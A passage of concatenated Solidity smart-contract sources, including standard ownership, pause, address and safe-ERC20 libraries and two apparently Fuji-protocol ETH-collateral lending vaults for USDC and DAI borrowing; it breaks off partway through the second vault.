modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./Context.sol";
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor () internal {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
library UniERC20 {
using SafeERC20 for IERC20;
IERC20 private constant _ETH_ADDRESS = IERC20(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE);
IERC20 private constant _ZERO_ADDRESS = IERC20(0);
function isETH(IERC20 token) internal pure returns (bool) {
return (token == _ZERO_ADDRESS || token == _ETH_ADDRESS);
}
function uniBalanceOf(IERC20 token, address account) internal view returns (uint256) {
if (isETH(token)) {
return account.balance;
} else {
return token.balanceOf(account);
}
}
function uniTransfer(
IERC20 token,
address payable to,
uint256 amount
) internal {
if (amount > 0) {
if (isETH(token)) {
to.transfer(amount);
} else {
token.safeTransfer(to, amount);
}
}
}
function uniApprove(
IERC20 token,
address to,
uint256 amount
) internal {
require(!isETH(token), "Approve called on ETH");
if (amount == 0) {
token.safeApprove(to, 0);
} else {
uint256 allowance = token.allowance(address(this), to);
if (allowance < amount) {
if (allowance > 0) {
token.safeApprove(to, 0);
}
token.safeApprove(to, amount);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./IERC20.sol";
import "../../math/SafeMath.sol";
import "../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.25 <0.8.0;
pragma experimental ABIEncoderV2;
import { IVault } from "./IVault.sol";
import { VaultBase } from "./VaultBase.sol";
import { IFujiAdmin } from "../IFujiAdmin.sol";
import { ReentrancyGuard } from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import {
AggregatorV3Interface
} from "@chainlink/contracts/src/v0.6/interfaces/AggregatorV3Interface.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { IFujiERC1155 } from "../FujiERC1155/IFujiERC1155.sol";
import { IProvider } from "../Providers/IProvider.sol";
import { IAlphaWhiteList } from "../IAlphaWhiteList.sol";
import { Errors } from "../Libraries/Errors.sol";
interface IVaultHarvester {
function collectRewards(uint256 _farmProtocolNum) external returns (address claimedToken);
}
contract VaultETHUSDC is IVault, VaultBase, ReentrancyGuard {
uint256 internal constant _BASE = 1e18;
struct Factor {
uint64 a;
uint64 b;
}
// Safety factor
Factor public safetyF;
// Collateralization factor
Factor public collatF;
//State variables
address[] public providers;
address public override activeProvider;
IFujiAdmin private _fujiAdmin;
address public override fujiERC1155;
AggregatorV3Interface public oracle;
modifier isAuthorized() {
require(
msg.sender == owner() || msg.sender == _fujiAdmin.getController(),
Errors.VL_NOT_AUTHORIZED
);
_;
}
modifier onlyFlash() {
require(msg.sender == _fujiAdmin.getFlasher(), Errors.VL_NOT_AUTHORIZED);
_;
}
constructor() public {
vAssets.collateralAsset = address(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE); // ETH
vAssets.borrowAsset = address(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48); // USDC
// 1.05
safetyF.a = 21;
safetyF.b = 20;
// 1.269
collatF.a = 80;
collatF.b = 63;
}
receive() external payable {}
//Core functions
/**
* @dev Deposits collateral and borrows underlying in a single function call from activeProvider
* @param _collateralAmount: amount to be deposited
* @param _borrowAmount: amount to be borrowed
*/
function depositAndBorrow(uint256 _collateralAmount, uint256 _borrowAmount) external payable {
deposit(_collateralAmount);
borrow(_borrowAmount);
}
/**
* @dev Paybacks the underlying asset and withdraws collateral in a single function call from activeProvider
* @param _paybackAmount: amount of underlying asset to be payback, pass -1 to pay full amount
* @param _collateralAmount: amount of collateral to be withdrawn, pass -1 to withdraw maximum amount
*/
function paybackAndWithdraw(int256 _paybackAmount, int256 _collateralAmount) external payable {
payback(_paybackAmount);
withdraw(_collateralAmount);
}
/**
* @dev Deposit Vault's type collateral to activeProvider
* call Controller checkrates
* @param _collateralAmount: to be deposited
* Emits a {Deposit} event.
*/
function deposit(uint256 _collateralAmount) public payable override {
require(msg.value == _collateralAmount && _collateralAmount != 0, Errors.VL_AMOUNT_ERROR);
// Alpha Whitelist Routine
require(
IAlphaWhiteList(_fujiAdmin.getaWhiteList()).whiteListRoutine(
msg.sender,
vAssets.collateralID,
_collateralAmount,
fujiERC1155
),
Errors.SP_ALPHA_WHITELIST
);
// Delegate Call Deposit to current provider
_deposit(_collateralAmount, address(activeProvider));
// Collateral Management
IFujiERC1155(fujiERC1155).mint(msg.sender, vAssets.collateralID, _collateralAmount, "");
emit Deposit(msg.sender, vAssets.collateralAsset, _collateralAmount);
}
/**
* @dev Withdraws Vault's type collateral from activeProvider
* call Controller checkrates
* @param _withdrawAmount: amount of collateral to withdraw
* otherwise pass -1 to withdraw maximum amount possible of collateral (including safety factors)
* Emits a {Withdraw} event.
*/
function withdraw(int256 _withdrawAmount) public override nonReentrant {
// If call from Normal User do typical, otherwise Fliquidator
if (msg.sender != _fujiAdmin.getFliquidator()) {
updateF1155Balances();
// Get User Collateral in this Vault
uint256 providedCollateral =
IFujiERC1155(fujiERC1155).balanceOf(msg.sender, vAssets.collateralID);
// Check User has collateral
require(providedCollateral > 0, Errors.VL_INVALID_COLLATERAL);
// Get Required Collateral with Factors to maintain debt position healthy
uint256 neededCollateral =
getNeededCollateralFor(
IFujiERC1155(fujiERC1155).balanceOf(msg.sender, vAssets.borrowID),
true
);
uint256 amountToWithdraw =
_withdrawAmount < 0 ? providedCollateral.sub(neededCollateral) : uint256(_withdrawAmount);
// Check Withdrawal amount, and that it will not fall undercollaterized.
require(
amountToWithdraw != 0 && providedCollateral.sub(amountToWithdraw) >= neededCollateral,
Errors.VL_INVALID_WITHDRAW_AMOUNT
);
// Collateral Management before Withdraw Operation
IFujiERC1155(fujiERC1155).burn(msg.sender, vAssets.collateralID, amountToWithdraw);
// Delegate Call Withdraw to current provider
_withdraw(amountToWithdraw, address(activeProvider));
// Transer Assets to User
IERC20(vAssets.collateralAsset).uniTransfer(msg.sender, amountToWithdraw);
emit Withdraw(msg.sender, vAssets.collateralAsset, amountToWithdraw);
} else {
// Logic used when called by Fliquidator
_withdraw(uint256(_withdrawAmount), address(activeProvider));
IERC20(vAssets.collateralAsset).uniTransfer(msg.sender, uint256(_withdrawAmount));
}
}
/**
* @dev Borrows Vault's type underlying amount from activeProvider
* @param _borrowAmount: token amount of underlying to borrow
* Emits a {Borrow} event.
*/
function borrow(uint256 _borrowAmount) public override nonReentrant {
updateF1155Balances();
uint256 providedCollateral =
IFujiERC1155(fujiERC1155).balanceOf(msg.sender, vAssets.collateralID);
// Get Required Collateral with Factors to maintain debt position healthy
uint256 neededCollateral =
getNeededCollateralFor(
_borrowAmount.add(IFujiERC1155(fujiERC1155).balanceOf(msg.sender, vAssets.borrowID)),
true
);
// Check Provided Collateral is not Zero, and greater than needed to maintain healthy position
require(
_borrowAmount != 0 && providedCollateral > neededCollateral,
Errors.VL_INVALID_BORROW_AMOUNT
);
// Debt Management
IFujiERC1155(fujiERC1155).mint(msg.sender, vAssets.borrowID, _borrowAmount, "");
// Delegate Call Borrow to current provider
_borrow(_borrowAmount, address(activeProvider));
// Transer Assets to User
IERC20(vAssets.borrowAsset).uniTransfer(msg.sender, _borrowAmount);
emit Borrow(msg.sender, vAssets.borrowAsset, _borrowAmount);
}
/**
* @dev Paybacks Vault's type underlying to activeProvider
* @param _repayAmount: token amount of underlying to repay, or pass -1 to repay full ammount
* Emits a {Repay} event.
*/
function payback(int256 _repayAmount) public payable override {
// If call from Normal User do typical, otherwise Fliquidator
if (msg.sender != _fujiAdmin.getFliquidator()) {
updateF1155Balances();
uint256 userDebtBalance = IFujiERC1155(fujiERC1155).balanceOf(msg.sender, vAssets.borrowID);
// Check User Debt is greater than Zero and amount is not Zero
require(_repayAmount != 0 && userDebtBalance > 0, Errors.VL_NO_DEBT_TO_PAYBACK);
// TODO: Get => corresponding amount of BaseProtocol Debt and FujiDebt
// If passed argument amount is negative do MAX
uint256 amountToPayback = _repayAmount < 0 ? userDebtBalance : uint256(_repayAmount);
// Check User Allowance
require(
IERC20(vAssets.borrowAsset).allowance(msg.sender, address(this)) >= amountToPayback,
Errors.VL_MISSING_ERC20_ALLOWANCE
);
// Transfer Asset from User to Vault
IERC20(vAssets.borrowAsset).transferFrom(msg.sender, address(this), amountToPayback);
// Delegate Call Payback to current provider
_payback(amountToPayback, address(activeProvider));
//TODO: Transfer corresponding Debt Amount to Fuji Treasury
// Debt Management
IFujiERC1155(fujiERC1155).burn(msg.sender, vAssets.borrowID, amountToPayback);
emit Payback(msg.sender, vAssets.borrowAsset, userDebtBalance);
} else {
// Logic used when called by Fliquidator
_payback(uint256(_repayAmount), address(activeProvider));
}
}
/**
* @dev Changes Vault debt and collateral to newProvider, called by Flasher
* @param _newProvider new provider's address
* @param _flashLoanAmount amount of flashloan underlying to repay Flashloan
* Emits a {Switch} event.
*/
function executeSwitch(
address _newProvider,
uint256 _flashLoanAmount,
uint256 _fee
) external override onlyFlash whenNotPaused {
// Compute Ratio of transfer before payback
uint256 ratio =
(_flashLoanAmount).mul(1e18).div(
IProvider(activeProvider).getBorrowBalance(vAssets.borrowAsset)
);
// Payback current provider
_payback(_flashLoanAmount, activeProvider);
// Withdraw collateral proportional ratio from current provider
uint256 collateraltoMove =
IProvider(activeProvider).getDepositBalance(vAssets.collateralAsset).mul(ratio).div(1e18);
_withdraw(collateraltoMove, activeProvider);
// Deposit to the new provider
_deposit(collateraltoMove, _newProvider);
// Borrow from the new provider, borrowBalance + premium
_borrow(_flashLoanAmount.add(_fee), _newProvider);
// return borrowed amount to Flasher
IERC20(vAssets.borrowAsset).uniTransfer(msg.sender, _flashLoanAmount.add(_fee));
emit Switch(address(this), activeProvider, _newProvider, _flashLoanAmount, collateraltoMove);
}
//Setter, change state functions
/**
* @dev Sets the fujiAdmin Address
* @param _newFujiAdmin: FujiAdmin Contract Address
*/
function setFujiAdmin(address _newFujiAdmin) external onlyOwner {
_fujiAdmin = IFujiAdmin(_newFujiAdmin);
}
/**
* @dev Sets a new active provider for the Vault
* @param _provider: fuji address of the new provider
* Emits a {SetActiveProvider} event.
*/
function setActiveProvider(address _provider) external override isAuthorized {
activeProvider = _provider;
emit SetActiveProvider(_provider);
}
//Administrative functions
/**
* @dev Sets a fujiERC1155 Collateral and Debt Asset manager for this vault and initializes it.
* @param _fujiERC1155: fuji ERC1155 address
*/
function setFujiERC1155(address _fujiERC1155) external isAuthorized {
fujiERC1155 = _fujiERC1155;
vAssets.collateralID = IFujiERC1155(_fujiERC1155).addInitializeAsset(
IFujiERC1155.AssetType.collateralToken,
address(this)
);
vAssets.borrowID = IFujiERC1155(_fujiERC1155).addInitializeAsset(
IFujiERC1155.AssetType.debtToken,
address(this)
);
}
/**
* @dev Set Factors "a" and "b" for a Struct Factor
* For safetyF; Sets Safety Factor of Vault, should be > 1, a/b
* For collatF; Sets Collateral Factor of Vault, should be > 1, a/b
* @param _newFactorA: Nominator
* @param _newFactorB: Denominator
* @param _isSafety: safetyF or collatF
*/
function setFactor(
uint64 _newFactorA,
uint64 _newFactorB,
bool _isSafety
) external isAuthorized {
if (_isSafety) {
safetyF.a = _newFactorA;
safetyF.b = _newFactorB;
} else {
collatF.a = _newFactorA;
collatF.b = _newFactorB;
}
}
/**
* @dev Sets the Oracle address (Must Comply with AggregatorV3Interface)
* @param _oracle: new Oracle address
*/
function setOracle(address _oracle) external isAuthorized {
oracle = AggregatorV3Interface(_oracle);
}
/**
* @dev Set providers to the Vault
* @param _providers: new providers' addresses
*/
function setProviders(address[] calldata _providers) external isAuthorized {
providers = _providers;
}
/**
* @dev External Function to call updateState in F1155
*/
function updateF1155Balances() public override {
uint256 borrowBals;
uint256 depositBals;
// take into account all balances across providers
uint256 length = providers.length;
for (uint256 i = 0; i < length; i++) {
borrowBals = borrowBals.add(IProvider(providers[i]).getBorrowBalance(vAssets.borrowAsset));
}
for (uint256 i = 0; i < length; i++) {
depositBals = depositBals.add(
IProvider(providers[i]).getDepositBalance(vAssets.collateralAsset)
);
}
IFujiERC1155(fujiERC1155).updateState(vAssets.borrowID, borrowBals);
IFujiERC1155(fujiERC1155).updateState(vAssets.collateralID, depositBals);
}
//Getter Functions
/**
* @dev Returns an array of the Vault's providers
*/
function getProviders() external view override returns (address[] memory) {
return providers;
}
/**
* @dev Returns an amount to be paid as bonus for liquidation
* @param _amount: Vault underlying type intended to be liquidated
* @param _flash: Flash or classic type of liquidation, bonus differs
*/
function getLiquidationBonusFor(uint256 _amount, bool _flash)
external
view
override
returns (uint256)
{
if (_flash) {
// Bonus Factors for Flash Liquidation
(uint64 a, uint64 b) = _fujiAdmin.getBonusFlashL();
return _amount.mul(a).div(b);
} else {
//Bonus Factors for Normal Liquidation
(uint64 a, uint64 b) = _fujiAdmin.getBonusLiq();
return _amount.mul(a).div(b);
}
}
/**
* @dev Returns the amount of collateral needed, including or not safety factors
* @param _amount: Vault underlying type intended to be borrowed
* @param _withFactors: Inidicate if computation should include safety_Factors
*/
function getNeededCollateralFor(uint256 _amount, bool _withFactors)
public
view
override
returns (uint256)
{
// Get price of USDC in ETH
(, int256 latestPrice, , , ) = oracle.latestRoundData();
uint256 minimumReq = (_amount.mul(1e12).mul(uint256(latestPrice))).div(_BASE);
if (_withFactors) {
return minimumReq.mul(collatF.a).mul(safetyF.a).div(collatF.b).div(safetyF.b);
} else {
return minimumReq;
}
}
/**
* @dev Returns the borrow balance of the Vault's underlying at a particular provider
* @param _provider: address of a provider
*/
function borrowBalance(address _provider) external view override returns (uint256) {
return IProvider(_provider).getBorrowBalance(vAssets.borrowAsset);
}
/**
* @dev Returns the deposit balance of the Vault's type collateral at a particular provider
* @param _provider: address of a provider
*/
function depositBalance(address _provider) external view override returns (uint256) {
return IProvider(_provider).getDepositBalance(vAssets.collateralAsset);
}
/**
* @dev Harvests the Rewards from baseLayer Protocols
* @param _farmProtocolNum: number per VaultHarvester Contract for specific farm
*/
function harvestRewards(uint256 _farmProtocolNum) external onlyOwner {
address tokenReturned =
IVaultHarvester(_fujiAdmin.getVaultHarvester()).collectRewards(_farmProtocolNum);
uint256 tokenBal = IERC20(tokenReturned).balanceOf(address(this));
require(tokenReturned != address(0) && tokenBal > 0, Errors.VL_HARVESTING_FAILED);
IERC20(tokenReturned).uniTransfer(payable(_fujiAdmin.getTreasury()), tokenBal);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.12 <0.8.0;
pragma experimental ABIEncoderV2;
import { IVault } from "./IVault.sol";
import { VaultBase } from "./VaultBase.sol";
import { IFujiAdmin } from "../IFujiAdmin.sol";
import { ReentrancyGuard } from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import {
AggregatorV3Interface
} from "@chainlink/contracts/src/v0.6/interfaces/AggregatorV3Interface.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { IFujiERC1155 } from "../FujiERC1155/IFujiERC1155.sol";
import { IProvider } from "../Providers/IProvider.sol";
import { IAlphaWhiteList } from "../IAlphaWhiteList.sol";
import { Errors } from "../Libraries/Errors.sol";
interface IVaultHarvester {
function collectRewards(uint256 _farmProtocolNum) external returns (address claimedToken);
}
contract VaultETHDAI is IVault, VaultBase, ReentrancyGuard {
uint256 internal constant _BASE = 1e18;
struct Factor {
uint64 a;
uint64 b;
}
// Safety factor
Factor public safetyF;
// Collateralization factor
Factor public collatF;
//State variables
address[] public providers;
address public override activeProvider;
IFujiAdmin private _fujiAdmin;
address public override fujiERC1155;
AggregatorV3Interface public oracle;
modifier isAuthorized() {
require(
msg.sender == owner() || msg.sender == _fujiAdmin.getController(),
Errors.VL_NOT_AUTHORIZED
);
_;
}
modifier onlyFlash() {
require(msg.sender == _fujiAdmin.getFlasher(), Errors.VL_NOT_AUTHORIZED);
_;
}
constructor() public {
vAssets.collateralAsset = address(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE); // ETH
vAssets.borrowAsset = address(0x6B175474E89094C44Da98b954EedeAC495271d0F); // DAI
// 1.05
safetyF.a = 21;
safetyF.b = 20;
// 1.269
collatF.a = 80;
collatF.b = 63;
}
receive() external payable {}
//Core functions
/**
* @dev Deposits collateral and borrows underlying in a single function call from activeProvider
* @param _collateralAmount: amount to be deposited
* @param _borrowAmount: amount to be borrowed
*/
function depositAndBorrow(uint256 _collateralAmount, uint256 _borrowAmount) external payable {
deposit(_collateralAmount);
borrow(_borrowAmount);
}
/**
* @dev Paybacks the underlying asset and withdraws collateral in a single function call from activeProvider
* @param _paybackAmount: amount of underlying asset to be payback, pass -1 to pay full amount
* @param _collateralAmount: amount of collateral to be withdrawn, pass -1 to withdraw maximum amount
*/
function paybackAndWithdraw(int256 _paybackAmount, int256 _collateralAmount) external payable {
payback(_paybackAmount);
withdraw(_collateralAmount);
}
/**
* @dev Deposit Vault's type collateral to activeProvider
* call Controller checkrates
* @param _collateralAmount: to be deposited
* Emits a {Deposit} event.
*/
function deposit(uint256 _collateralAmount) public payable override {
require(msg.value == _collateralAmount && _collateralAmount != 0, Errors.VL_AMOUNT_ERROR);
// Alpha Whitelist Routine
require(
IAlphaWhiteList(_fujiAdmin.getaWhiteList()).whiteListRoutine(
msg.sender,
vAssets.collateralID,
_collateralAmount,
fujiERC1155
),
Errors.SP_ALPHA_WHITELIST
);
// Delegate Call Deposit to current provider
_deposit(_collateralAmount, address(activeProvider));
// Collateral Management
IFujiERC1155(fujiERC1155).mint(msg.sender, vAssets.collateralID, _collateralAmount, "");
emit Deposit(msg.sender, vAssets.collateralAsset, _collateralAmount);
}
/**
* @dev Withdraws Vault's type collateral from activeProvider
* call Controller checkrates
* @param _withdrawAmount: amount of collateral to withdraw
* otherwise pass -1 to withdraw maximum amount possible of collateral (including safety factors)
* Emits a {Withdraw} event.
*/
function withdraw(int256 _withdrawAmount) public override nonReentrant {
// If call from Normal User do typical, otherwise Fliquidator
if (msg.sender != _fujiAdmin.getFliquidator()) {
updateF1155Balances();
// Get User Collateral in this Vault
uint256 providedCollateral =
IFujiERC1155(fujiERC1155).balanceOf(msg.sender, vAssets.collateralID);
// Check User has collateral
require(providedCollateral > 0, Errors.VL_INVALID_COLLATERAL);
// Get Required Collateral with Factors to maintain debt position healthy
uint256 neededCollateral =
getNeededCollateralFor(
IFujiERC1155(fujiERC1155).balanceOf(msg.sender, vAssets.borrowID),
true
);
uint256 amountToWithdraw =
_withdrawAmount < 0 ? providedCollateral.sub(neededCollateral) : uint256(_withdrawAmount);
// Check Withdrawal amount, and that it will not fall undercollaterized.
require(
amountToWithdraw != 0 && providedCollateral.sub(amountToWithdraw) >= neededCollateral,
Errors.VL_INVALID_WITHDRAW_AMOUNT
);
// Collateral Management before Withdraw Operation
IFujiERC1155(fujiERC1155).burn(msg.sender, vAssets.collateralID, amountToWithdraw);
// Delegate Call Withdraw to current provider
_withdraw(amountToWithdraw, address(activeProvider));
// Transer Assets to User
IERC20(vAssets.collateralAsset).uniTransfer(msg.sender, amountToWithdraw);
emit Withdraw(msg.sender, vAssets.collateralAsset, amountToWithdraw);
} else {
// Logic used when called by Fliquidator
_withdraw(uint256(_withdrawAmount), address(activeProvider));
IERC20(vAssets.collateralAsset).uniTransfer(msg.sender, uint256(_withdrawAmount));
}
}
/**
* @dev Borrows Vault's type underlying amount from activeProvider
* @param _borrowAmount: token amount of underlying to borrow
* Emits a {Borrow} event.
*/
